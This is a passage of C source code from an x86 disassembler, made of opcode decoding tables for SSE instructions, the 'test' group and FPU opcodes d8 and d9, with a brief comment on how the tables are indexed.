NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa6\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa7\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa8\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa9\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xaa\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xab\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xac\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xad\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xae\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xaf\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb0\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb1\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb2\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb3\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb4\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb5\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb6\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb7\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb8\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb9\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xba\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbb\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbc\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbd\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbe\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbf\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc0\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc1\n { INSTRUCTION_TYPE_SSE, \"cmpss\", AM_V|OT_ss, AM_W|OT_ss, AM_I|OT_b, 1 }, // 0xc2\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc3\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc4\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc5\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc6\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc7\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc8\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc9\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xca\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcb\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcc\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcd\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xce\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcf\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd0\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd1\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd2\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd3\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd4\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd5\n { INSTRUCTION_TYPE_SSE, \"movq2dq\", AM_V|OT_dq, AM_Q|OT_q, FLAGS_NONE, 1 }, // 0xd6\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd7\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd8\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd9\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xda\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdb\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdc\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdd\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xde\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdf\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe0\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe1\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe2\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe3\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe4\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe5\n { INSTRUCTION_TYPE_SSE, \"cvtdq2pd\", AM_V|OT_pd, AM_W|OT_q, FLAGS_NONE, 1 }, // 0xe6\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe7\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe8\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe9\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xea\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xeb\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xec\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xed\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xee\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xef\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf0\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf1\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf2\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf3\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf4\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf5\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf6\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf7\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf8\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf9\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfa\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfb\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfc\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfd\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfe\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xff\n}; \n\n\n// Just a lame hack to provide additional arguments to group 3 \"test\"\n\nINST inst_table_test[2] = {\n { INSTRUCTION_TYPE_TEST, \"test\", AM_E|OT_b, AM_I|OT_b, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_TEST, \"test\", AM_E|OT_v, AM_I|OT_v, FLAGS_NONE, 1 }, \n};\n\n// FPU instruction tables\n\n/*\n * Tables are composed in two parts:\n *\n * - 1st part (index 0-7) are identified by the reg field of MODRM byte\n * if the MODRM is < 0xc0. reg field can be used directly as an index to table.\n *\n * - 2nd part (8 - 0x47) are identified by the MODRM byte itself. In that case,\n * the index can be calculated by \"index = MODRM - 0xb8\"\n *\n */\nINST inst_table_fpu_d8[72] = {\n { INSTRUCTION_TYPE_FADD, \"fadds\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FMUL, \"fmuls\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FCOM, \"fcoms\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FCOMP, \"fcomps\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FSUB, \"fsubs\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FSUBR, \"fsubrs\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FDIV, \"fdivs\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FDIVR, \"fdivrs\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FADD, \"fadd\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADD, \"fadd\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADD, \"fadd\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADD, \"fadd\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADD, \"fadd\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADD, \"fadd\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADD, \"fadd\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FADD, \"fadd\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMUL, \"fmul\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMUL, \"fmul\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMUL, \"fmul\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMUL, \"fmul\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMUL, \"fmul\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMUL, \"fmul\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMUL, \"fmul\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FMUL, \"fmul\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOM, \"fcom\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOM, \"fcom\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOM, \"fcom\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOM, \"fcom\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOM, \"fcom\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOM, \"fcom\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOM, \"fcom\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOM, \"fcom\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMP, \"fcomp\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMP, \"fcomp\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMP, \"fcomp\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMP, \"fcomp\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMP, \"fcomp\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMP, \"fcomp\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMP, \"fcomp\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FCOMP, \"fcomp\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUB, \"fsub\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUB, \"fsub\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUB, \"fsub\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUB, \"fsub\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUB, \"fsub\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUB, \"fsub\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUB, \"fsub\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUB, \"fsub\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBR, \"fsubr\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBR, \"fsubr\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBR, \"fsubr\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBR, \"fsubr\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBR, \"fsubr\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBR, \"fsubr\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBR, \"fsubr\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FSUBR, \"fsubr\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIV, \"fdiv\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIV, \"fdiv\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIV, \"fdiv\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIV, \"fdiv\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIV, \"fdiv\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIV, \"fdiv\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIV, \"fdiv\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIV, \"fdiv\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVR, \"fdivr\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVR, \"fdivr\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVR, \"fdivr\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVR, \"fdivr\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVR, \"fdivr\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVR, \"fdivr\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVR, \"fdivr\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FDIVR, \"fdivr\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n};\nINST inst_table_fpu_d9[72] = {\n { INSTRUCTION_TYPE_FLD, \"flds\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FST, \"fst\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FSTP, \"fstp\", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, \n // XXX: operand type is not correct\n { INSTRUCTION_TYPE_FPU, \"fldenv\", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FPU, \"fldcw\", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FPU, \"fstenv\", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FPU, \"fstcw\", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, \n { INSTRUCTION_TYPE_FLD, \"fld\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FLD, \"fld\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FLD, \"fld\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FLD, \"fld\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FLD, \"fld\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FLD, \"fld\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FLD, \"fld\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FLD, \"fld\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FXCH, \"fxch\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FXCH, \"fxch\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FXCH, \"fxch\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FXCH, \"fxch\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FXCH, \"fxch\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FXCH, \"fxch\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FXCH, \"fxch\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FXCH, \"fxch\", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fnop\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fchs\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"fabs\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { INSTRUCTION_TYPE_FPU, \"ftst\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, \n { 